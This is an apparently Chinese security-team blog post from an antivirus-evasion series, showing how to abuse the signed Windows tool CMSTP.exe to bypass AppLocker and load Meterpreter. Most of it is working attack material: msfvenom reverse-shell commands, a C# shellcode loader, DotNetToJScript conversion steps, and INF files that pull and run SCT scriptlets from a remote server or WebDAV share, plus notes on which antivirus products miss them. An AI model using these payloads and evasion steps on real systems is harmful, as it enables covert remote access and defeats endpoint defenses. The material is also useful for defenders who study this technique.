声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
文章打包下载及相关软件下载:https://github.com/TideSec/BypassAntiVirus
几点说明:
1、表中标识 √ 说明相应杀毒软件未检测出病毒,也就是代表了Bypass。
2、为了更好的对比效果,大部分测试payload均使用msf的windows/meterperter/reverse_tcp
模块生成。
3、由于本机测试时只是安装了360全家桶和火绒,所以默认情况下360和火绒杀毒情况指的是静态+动态查杀。360杀毒版本5.0.0.8160
(2020.01.01),火绒版本5.0.34.16
(2020.01.01),360安全卫士12.0.0.2002
(2020.01.01)。
4、其他杀软的检测指标是在virustotal.com
(简称VT)上在线查杀,所以可能只是代表了静态查杀能力,数据仅供参考,不足以作为杀软查杀能力或免杀能力的判断指标。
5、完全不必要苛求一种免杀技术能bypass所有杀软,这样的技术肯定是有的,只是没被公开,一旦公开第二天就能被杀了,其实我们只要能bypass目标主机上的杀软就足够了。
6、由于白名单程序加载payload的免杀测试需要杀软的行为检测才合理,静态查杀payload或者查杀白名单程序都没有任何意义,所以这里对白名单程序的免杀效果不做评判。
Microsoft连接管理器配置文件安装程序(CMSTP.exe)是用于安装连接管理器服务配置文件的命令行程序。CMSTP.exe接受安装信息文件(INF)作为参数,并安装用于远程访问连接的服务配置文件。
攻击者可能会使用CMSTP.exe调用恶意的INF文件。与Regsvr32 相似,CMSTP.exe可能被利用从远程服务器加载和执行DLL或COM脚本(SCT)。由于CMSTP.exe是合法的,经过签名的Microsoft应用程序,因此该执行过程也可以绕过AppLocker和其他白名单防御。
在windows中文件路径
64位 C:\Windows\System32\cmstp.exe
32位 C:\Windows\SysWOW64\cmstp.exe
由于Cmstp.exe加载payload的免杀测试需要杀软的行为检测才合理,静态查杀inf或者sct或者Cmstp.exe文件自身都没有任何意义,所以这里对Cmstp.exe的免杀效果不做评判,以第三种sct文件的免杀率作为参考。
Cmstp.exe可以通过inf文件加载本地dll,我这里以msf生成的dll为例进行测试。
通过msfvenom生成DLL文件
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f dll -o test.dll
配置inf文件,其中字段RegisterOCXSection
需要包含恶意DLL文件的本地路径或远程执行的WebDAV位置。这样就能从本地或Webdav中加载DLL文件。完整代码如下。
[version]
Signature=$chicago$
AdvancedINF=2.5
[DefaultInstall_SingleUser]
RegisterOCXs=RegisterOCXSection
[RegisterOCXSection]
C:\test\test.dll
[Strings]
AppAct = "SOFTWARE\Microsoft\Connection Manager"
ServiceName="tidesec"
ShortSvcName="tidesec"
在msf中监听
在测试机器执行
cmstp.exe /ni /s cmstp.inf
msf中可正常上线
打开杀软测试,发现360会对行为预警。关闭360后火绒并没有反应。
因为dll文件是msf原生态的肯定被杀很严重,所以这里测dll的免杀就没什么意义了。
还可以将上面代码中的RegisterOCXSection
换成RunPreSetupCommandsSection
,在此项下可以直接执行命令程序,例如:
[version]
Signature=$chicago$
AdvancedINF=2.5
[DefaultInstall_SingleUser]
RegisterOCXs=RegisterOCXSection
RunPreSetupCommands=RunPreSetupCommandsSection
[RunPreSetupCommandsSection]
c:\windows\system32\calc.exe
[Strings]
AppAct = "SOFTWARE\Microsoft\Connection Manager"
ServiceName="tidesec"
ShortSvcName="tidesec"
执行命令,可触发计算器程序。
cmstp.exe /s ./cmstp.inf
除了DLL文件外,cmstp还能够运行SCT文件。
首先需要生成sct文件,这个和《远控免杀专题(38)-白名单Rundll32.exe执行payload》文章中的“3.1 远程加载SCT文件”基本一致。我这就简单描述一下。
1、首先用msfvenom生成基于csharp的shellcode,我这是生成的x64的,注意这个要和后面rundll32的版本相一致。
msfvenom -p windows/x64/meterpreter/reverse_tcp -a x64 -f csharp -b "\x00\xff" LHOST=10.211.55.2 LPORT=3333 -o shell_x64.csharp
2、然后在vs2017中创建C#的Console工程,.Net版本建议2.0,这样兼容性好一些,如果选了net 4.0。其他电脑上没有装4.0的话可能就没法运行了。
代码如下,把shell_x64.csharp
内容放到相应MsfPayload位置。
using System;
using System.Threading;
using System.Runtime.InteropServices;
namespace MSFWrapper
{
public class Program
{
public Program()
{
RunMSF();
}
public static void RunMSF()
{
byte[] MsfPayload = {
0xbb,---shellcode here---0x1e };
IntPtr returnAddr = VirtualAlloc((IntPtr)0, (uint)Math.Max(MsfPayload.Length, 0x1000), 0x3000, 0x40);
Marshal.Copy(MsfPayload, 0, returnAddr, MsfPayload.Length);
CreateThread((IntPtr)0, 0, returnAddr, (IntPtr)0, 0, (IntPtr)0);
Thread.Sleep(2000);
}
public static void Main()
{
}
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
}
}
修改一下项目属性,设置启动对象为MSFWrapper,编译生成exe,我这生成的就是默认的ConsoleApp2.exe
3、将exe转换为脚本文件
下载DotNetToJScript:https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/DotNetToJScript.zip
将上面生成的ConsoleApp2.exe
复制到DotNetToJScript目录下,执行命令生成msf_x86.sct
文件
DotNetToJScript.exe -m -o=msf_x64.sct -c=MSFWrapper.Program -v 4 -d ConsoleApp2.exe
4、这时需要对sct文件做一些处理,把头部和尾部替换成下面的JScript代码
<?XML version="1.0"?>
<scriptlet>
<registration
progid="PoC"
classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >
<script language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
]]>
</script>
</registration>
</scriptlet>
原始是这样的
替换后为这样的
注意尾部代码也要替换。
4、将msf_x64.sct
文件放在自己的web服务器上,我的是http://10.211.55.2/msf_x64.sct
在msf中监听
然后配置inf文件,和上面的类似,只是UnRegisterOCXSection
需要包含scriptlet的URL。最终的INF文件需要包含以下内容:
[version]
Signature=$chicago$
AdvancedINF=2.5
[DefaultInstall_SingleUser]
UnRegisterOCXs=UnRegisterOCXSection
[UnRegisterOCXSection]
%11%\scrobj.dll,NI,http://10.211.55.2/msf_x64.sct
[Strings]
AppAct = "SOFTWARE\Microsoft\Connection Manager"
ServiceName="tidesec"
ShortSvcName="tidesec"
然后执行
cmstp.exe /s cmstp.inf
msf可正常上线
打开杀软进行测试,依旧360行为预警
上面的msf_x64.sct
也可以替换成powersct.sct
,这样当powershell被禁用的时候,可以作为备选方案。可以从这里下载https://raw.githubusercontent.com/TideSec/BypassAntiVirus/master/tools/powersct.sct
。有时候会因为github网络问题执行不成功,可以放在自己服务器上加载。
文件msf_x64.sct
在virustotal.com上查杀率为21/57。
网上提到cmstp还可以加载web服务器远程配置文件,命令如下。
cmstp.exe /ni /s https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Cmstp.inf
不过我在多种系统进行多次尝试都没成功,会提示一个下面的错误。
cmstp加载远程inf应该只能从Webdav服务器加载。
比如cmstp.inf
在内网另一台服务器上,路径为\\10.211.55.28\test\cmstp.inf
,内如如下。
[version]
Signature=$chicago$
AdvancedINF=2.5
[DefaultInstall_SingleUser]
UnRegisterOCXs=UnRegisterOCXSection
[UnRegisterOCXSection]
%11%\scrobj.dll,NI,http://10.211.55.2/calc64.sct
[Strings]
AppAct = "SOFTWARE\Microsoft\Connection Manager"
ServiceName="Yay"
ShortSvcName="Yay"
在10.211.55.2上的calc64.sct
内容如下:
<?XML version="1.0"?>
<scriptlet>
<registration
progid="PoC"
classid="{F0001111-0000-0000-0000-0000FEEDACDC}" > <script language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
]]>
</script>
</registration>
</scriptlet>
执行cmstp.exe /ni /s \\10.211.55.28\test\cmstp.inf
,可触发计算器。
使用CMSTP绕过AppLocker的方法介绍:https://4hou.win/wordpress/?p=20341
使用cmstp绕过应用程序白名单:https://www.cnblogs.com/backlion/p/10493914.html
AppLocker Bypass – CMSTP:https://pentestlab.blog/category/defense-evasion/
powersct.sct:https://gist.github.com/NickTyrer/0604bb9d7bcfef9e0cf82c28a7b76f0f
Windows上传并执行恶意代码的N种姿势:https://cloud.tencent.com/developer/article/1141143
E
N
D
guān
关
zhù
注
wǒ
我
men
们
Tide安全团队正式成立于2019年1月,是新潮信息旗下以互联网攻防技术研究为目标的安全团队,团队致力于分享高质量原创文章、开源安全工具、交流安全技术,研究方向覆盖网络攻防、Web安全、移动终端、安全开发、物联网/工控安全/AI安全等多个领域。
对安全感兴趣的小伙伴可以关注关注团队官网: http://www.TideSec.com 或长按二维码关注公众号: